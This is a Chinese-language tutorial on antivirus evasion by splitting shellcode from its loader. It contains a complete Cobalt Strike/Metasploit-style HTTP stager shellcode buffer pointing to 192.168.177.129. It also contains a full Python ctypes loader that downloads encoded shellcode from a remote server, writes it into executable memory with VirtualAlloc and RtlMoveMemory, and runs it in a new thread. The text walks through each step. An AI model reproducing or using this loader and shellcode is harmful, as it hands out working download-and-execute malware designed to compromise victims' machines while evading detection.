分离免杀概述

shellcode是一段用于利用软件漏洞而执行的代码 shellcode loader是用来运行此代码的加载器 shellcode比作子弹的话,loader就是把枪,两者缺一不可

shellcode生成

我们可以使用cs或者msf生成一串十六进制代码,也就是shellcode,这里我生成python的代码

buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x50\x00\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x69\x72\x50\x31\x00\x60\x4b\x66\xa0\x31\xf7\xfb\x2a\xa2\x41\x23\xa1\xc6\xd4\x41\xfd\x5a\x22\x54\x33\xd4\xd1\x9d\x04\x69\x9c\x1b\x51\xc4\xa3\xc7\x90\x55\x33\xd1\x05\x53\xc6\xeb\x0e\x47\xb6\xe4\x96\xee\x44\xc1\xf0\x86\xe1\xa1\x30\x57\x43\x12\x89\xb8\x60\xd6\x82\xc7\xb8\x39\x19\x47\x56\x18\xcb\x7e\x93\x4d\xdf\xeb\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4d\x41\x54\x4d\x29\x0d\x0a\x00\x14\x6b\x99\x57\x24\x2f\x08\x8e\x24\x16\xf9\xa2\x83\x17\xc3\x76\x14\x58\x0d\x44\x87\x98\x34\x59\xf8\x31\xc7\x9e\xb4\xf0\x22\xd7\x93\xc7\x3a\x38\xd0\x91\xd0\x24\xee\xef\xeb\xfb\x2b\x94\x31\xb4\x32\xd7\x90\xfc\xd9\x18\xc6\xe1\x3e\x88\x18\x19\x73\x98\x95\xac\xc1\x99\x8d\x0d\x38\x6a\x26\x1e\x00\xcf\x03\xc8\x5a\xf9\xdc\x1a\x71\x4d\xcf\xb8\xf2\xc3\xe6\x4e\x59\x2d\x6b\xd5\xc0\xca\x0c\x5c\xc9\x23\x65\x5a\x29\x71\x21\x8d\x65\x0e\x8a\x14\x53\x25\xfd\x19\xfa\x9d\x3d\x53\x9f\xb1\x49\x90\x3f\x2b\x40\xbe\x55\xf8\x78\xc6\xbe\xec\x41\xae\x4f\x68\xc2\x41\x23\x73\x57\xa9\x7a\xbc\x0f\x6a\x0d\x27\x68\x78\xa5\xf0\x10\xf5\xd6\x19\xea\x3c\xc8\x67\xe2\xbc\x94\xf3\x72\x56\x51\xc5\x29\x00\xfe\xde\x83\x7c\x2e\x75\xae\x57\x93\x4a\xe0\xb2\x14\x90\x09\xd7\xd6\x65\x3f\x72\x11\x9b\xe5\x4d\x29\x9b\x9d\xcf\xaa\x23\xaa\xbc\xbb\x48\xd7\x4f\xbd\x35\x8c\x25\x81\xd3\xa3\xd0\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x37\x37\x2e\x31\x32\x39\x00\x1e\x4b\xb5\xee"

里面一长串xfc样式的16进制代码,这就是子弹shellcode 但光有子弹不行,所以我们需要一把枪loader才能让他发挥作用

loader加载器

其实加载器在网上有很多源码了,随便找一个内存加载器就行

import ctypes
import requests
import base64

scode = requests.get("http://x.x.x.x/shellcode.txt")
shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

这里找到的是python2的代码,可以自己修改为py3或者直接用py2环境。 先解释下这里的import调用

import ctypes
import requests
import base64

python的ctypes模块是内建,用来调用系统动态链接库函数的模块 使用ctypes库可以很方便地调用C语言的动态链接库,并可以向其传递参数。 requests模块是一个能模拟浏览器发送请求的模块。 base64模块就很直接,用来base64编码和解码,就不用自己来定义了,这也是python的方便之处。

读取shellcode

我们将前面获取到的shellcode稍微处理一下放入shellcode.txt记事本里,然后再放到服务器上。这里的处理你可以用base或者其他编码都可以,到时候加载器再进行解码就行了,我这里是直接进行base64编码。

scode = requests.get("http://x.x.x.x/shellcode.txt")
shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))

由于后面操作是将代码写入内存,所以需要将代码解码并转为字节类型

设置返回类型

我们需要用VirtualAlloc函数来申请内存,返回类型必须和系统位数相同 想在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是 32 位

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

申请内存

调用VirtualAlloc函数,来申请一块动态内存区域。 VirtualAlloc函数原型和参数如下:

LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize,      #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect     #该内存的初始保护属性
};

申请一块内存可读可写可执行

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

函数的用法大家可以百度学习下。

将shellcode打入内存

调用RtlMoveMemory函数,此函数从指定内存中复制内容至另一内存里。 RtlMoveMemory函数原型和参数如下:

RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。

从指定内存地址将内容复制到我们申请的内存中去,shellcode字节多大就复制多大

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

创建进程

调用CreateThread将在主线程的基础上创建一个新线程 CreateThread函数原型和参数如下:

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
SIZE_T dwStackSize,       #置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress,  #指向线程函数的指针
LPVOID lpParameter,          #向线程函数传递的参数
DWORD dwCreationFlags,       #线程创建属性
LPDWORD lpThreadId           #保存新线程的id
)

创建一个线程从shellcode放置位置开始执行

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)

等待线程结束

调用WaitForSingleObject函数用来检测线程的状态 WaitForSingleObject函数原型和参数如下:

DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,     #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds  #定时时间间隔
);

等待创建的线程运行结束

ctypes.windll.kernel32.WaitForSingleObject(
                                           ctypes.c_int(handle),
                                           ctypes.c_int(-1))

这里两个参数,一个是创建的线程,一个是等待时间 当线程退出时会给出一个信号,函数收到后会结束程序。 当时间设置为0或超过等待时间,程序也会结束,所以线程也会跟着结束。 正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束。 上面loader大致原理就是申请一块内存,将代码字节存入该内存,然后开始运行该内存储存的程序,并让该程序一直运行下去。